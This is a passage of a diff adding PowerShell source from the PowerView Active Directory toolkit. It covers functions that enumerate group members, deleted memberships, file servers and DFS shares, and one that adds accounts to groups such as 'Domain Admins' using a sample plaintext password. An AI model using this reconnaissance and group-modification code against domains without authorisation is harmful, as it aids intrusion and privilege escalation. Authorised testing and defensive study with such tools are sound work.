$GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule to recurse on '$GroupFoundDN', only user accounts will be returned." + $GroupSearcher.filter = "(&(samAccountType=805306368)(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))" + $GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName')) + $Members = $GroupSearcher.FindAll() | ForEach-Object {$_.Properties.distinguishedname[0]} + } + $Null = $SearcherArguments.Remove('Raw') + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGroupMember] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GroupSearcher) { + Write-Warning "[Get-DomainGroupMember] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroupMember] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroupMember] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter string: $($GroupSearcher.filter)" + try { + $Result = $GroupSearcher.FindOne() + } + catch { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity '$Identity': $_" + $Members = @() + } + + $GroupFoundName = '' + $GroupFoundDN = '' + + if ($Result) { + $Members = $Result.properties.item('member') + + if ($Members.count -eq 0) { + # ranged searching, thanks @meatballs__ ! + $Finished = $False + $Bottom = 0 + $Top = 0 + + while (-not $Finished) { + $Top = $Bottom + 1499 + $MemberRange="member;range=$Bottom-$Top" + $Bottom += 1500 + $Null = $GroupSearcher.PropertiesToLoad.Clear() + $Null = $GroupSearcher.PropertiesToLoad.Add("$MemberRange") + $Null = $GroupSearcher.PropertiesToLoad.Add('samaccountname') + $Null = $GroupSearcher.PropertiesToLoad.Add('distinguishedname') + + try { + $Result = $GroupSearcher.FindOne() + $RangedProperty = $Result.Properties.PropertyNames -like "member;range=*" + $Members += $Result.Properties.item($RangedProperty) + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] + + if ($Members.count -eq 0) { + $Finished = $True + } + } + catch [System.Management.Automation.MethodInvocationException] { + $Finished = $True + } + } + } + else { + $GroupFoundName = $Result.properties.item('samaccountname')[0] + $GroupFoundDN = $Result.properties.item('distinguishedname')[0] + $Members += $Result.Properties.item($RangedProperty) + } + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = $GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + } + } + + ForEach ($Member in $Members) { + if ($Recurse -and $UseMatchingRule) { + $Properties = $_.Properties + } + else { + $ObjectSearcherArguments = $SearcherArguments.Clone() + $ObjectSearcherArguments['Identity'] = $Member + $ObjectSearcherArguments['Raw'] = $True + $ObjectSearcherArguments['Properties'] = 'distinguishedname,cn,samaccountname,objectsid,objectclass' + $Object = Get-DomainObject @ObjectSearcherArguments + $Properties = $Object.Properties + } + + if ($Properties) { + $GroupMember = New-Object PSObject + $GroupMember | Add-Member Noteproperty 'GroupDomain' $GroupFoundDomain + $GroupMember | Add-Member Noteproperty 'GroupName' $GroupFoundName + $GroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupFoundDN + + if ($Properties.objectsid) { + $MemberSID = ((New-Object System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value) + } + else { + $MemberSID = $Null + } + + try { + $MemberDN = $Properties.distinguishedname[0] + if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21') { + try { + if (-not $MemberSID) { + $MemberSID = $Properties.cn[0] + } + $MemberSimpleName = Convert-ADName -Identity $MemberSID -OutputType 'DomainSimple' @ADNameArguments + + if ($MemberSimpleName) { + $MemberDomain = $MemberSimpleName.Split('@')[1] + } + else { + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" + $MemberDomain = $Null + } + } + catch { + Write-Warning "[Get-DomainGroupMember] Error converting $MemberDN" + $MemberDomain = $Null + } + } + else { + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + } + catch { + $MemberDN = $Null + $MemberDomain = $Null + } + + if ($Properties.samaccountname) { + # forest users have the samAccountName set + $MemberName = $Properties.samaccountname[0] + } + else { + # external trust users have a SID, so convert it + try { + $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $Properties.cn[0] + } + } + + if ($Properties.objectclass -match 'computer') { + $MemberObjectClass = 'computer' + } + elseif ($Properties.objectclass -match 'group') { + $MemberObjectClass = 'group' + } + elseif ($Properties.objectclass -match 'user') { + $MemberObjectClass = 'user' + } + else { + $MemberObjectClass = $Null + } + $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain + $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName + $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN + $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass + $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID + $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember') + $GroupMember + + # if we're doing manual recursion + if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) { + Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN" + $SearcherArguments['Identity'] = $MemberDN + $Null = $SearcherArguments.Remove('Properties') + Get-DomainGroupMember @SearcherArguments + } + } + } + $GroupSearcher.dispose() + } + } +} + + +function Get-DomainGroupMemberDeleted { +<# +.SYNOPSIS + +Returns information on group members that were removed from the specified +group identity. Accomplished by searching the linked attribute replication +metadata for the group using Get-DomainObjectLinkedAttributeHistory. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectLinkedAttributeHistory + +.DESCRIPTION + +Wraps Get-DomainObjectLinkedAttributeHistory to return the linked attribute +replication metadata for the specified group. These are cases where the +'Version' attribute of group member in the replication metadata is even. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGroupMemberDeleted | Group-Object GroupDN + +Count Name Group +----- ---- ----- + 2 CN=Domain Admins,CN=Us... {@{GroupDN=CN=Domain Admins,CN=Users,DC=test... + 3 CN=DomainLocalGroup,CN... {@{GroupDN=CN=DomainLocalGroup,CN=Users,DC=t... + +.EXAMPLE + +Get-DomainGroupMemberDeleted "Domain Admins" -Domain testlab.local + + +GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +MemberDN : CN=testuser,CN=Users,DC=testlab,DC=local +TimeFirstAdded : 2017-06-13T23:07:43Z +TimeDeleted : 2017-06-13T23:26:17Z +LastOriginatingChange : 2017-06-13T23:26:17Z +TimesAdded : 2 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +GroupDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +MemberDN : CN=dfm,CN=Users,DC=testlab,DC=local +TimeFirstAdded : 2017-06-13T22:20:02Z +TimeDeleted : 2017-06-13T23:26:17Z +LastOriginatingChange : 2017-06-13T23:26:17Z +TimesAdded : 5 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + +PowerView.DomainGroupMemberDeleted + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.DomainGroupMemberDeleted')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replvaluemetadata','distinguishedname' + 'Raw' = $True + 'LDAPFilter' = '(objectCategory=group)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN + $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn + $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated + $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted + $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2) + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted') + $Output + } + } + else { + Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Add-DomainGroupMember { +<# +.SYNOPSIS + +Adds a domain user (or group) to an existing domain group, assuming +appropriate permissions to do so. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For +each entry in -Members, each member identity is similarly searched for and added +to the group. + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to add members to. + +.PARAMETER Members + +One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName +(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' + +Adds harmj0y to 'Domain Admins' in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred + +Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('MemberIdentity', 'Member', 'DistinguishedName')] + [String[]] + $Members, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ContextArguments = @{ + 'Identity' = $Identity + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + + $GroupContext = Get-PrincipalContext @ContextArguments + + if ($GroupContext) { + try { + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) + } + catch { + Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_" + } + } + } + + PROCESS { + if ($Group) { + ForEach ($Member in $Members) { + if ($Member -match '.+\\.+') { + $ContextArguments['Identity'] = $Member + $UserContext = Get-PrincipalContext @ContextArguments + if ($UserContext) { + $UserIdentity = $UserContext.Identity + } + } + else { + $UserContext = $GroupContext + $UserIdentity = $Member + } + Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'" + $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) + $Group.Members.Add($Member) + $Group.Save() + } + } + } +} + + +function Get-DomainFileServer { +<# +.SYNOPSIS + +Returns a list of servers likely functioning as file servers. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.DESCRIPTION + +Returns a list of likely fileservers by searching for all users in Active Directory +with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying +the server names. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainFileServer + +Returns active file servers for the current domain. + +.EXAMPLE + +Get-DomainFileServer -Domain testing.local + +Returns active file servers for the 'testing.local' domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainFileServer -Credential $Cred + +.OUTPUTS + +String + +One or more strings representing file server names. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] + [String[]] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + function Split-Path { + # short internal helper to split UNC server paths + Param([String]$Path) + + if ($Path -and ($Path.split('\\').Count -ge 3)) { + $Temp = $Path.split('\\')[2] + if ($Temp -and ($Temp -ne '')) { + $Temp + } + } + } + + $SearcherArguments = @{ + 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))' + 'Properties' = 'homedirectory,scriptpath,profilepath' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + $UserSearcher = Get-DomainSearcher @SearcherArguments + # get all results w/o the pipeline and uniquify them (I know it's not pretty) + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique + } + } + else { + $UserSearcher = Get-DomainSearcher @SearcherArguments + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique + } + } +} + + +function Get-DomainDFSShare { +<# +.SYNOPSIS + +Returns a list of all fault-tolerant distributed file systems +for the current (or specified) domains. + +Author: Ben Campbell (@meatballs__) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.DESCRIPTION + +This function searches for all distributed file systems (either version +1, 2, or both depending on -Version X) by searching for domain objects +matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively +The server data is parsed appropriately and returned. + +.PARAMETER Domain + +Specifies the domains to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDFSShare + +Returns all distributed file system shares for the current domain. + +.EXAMPLE + +Get-DomainDFSShare -Domain testlab.local + +Returns all distributed file system shares for the 'testlab.local' domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainDFSShare -Credential $Cred + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject describing the distributed file systems. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] + [String[]] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'V1', '1', 'V2', '2')] + [String] + $Version = 'All' + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + function Parse-Pkt { + [CmdletBinding()] + Param( + [Byte[]] + $Pkt + ) + + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) + } + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + 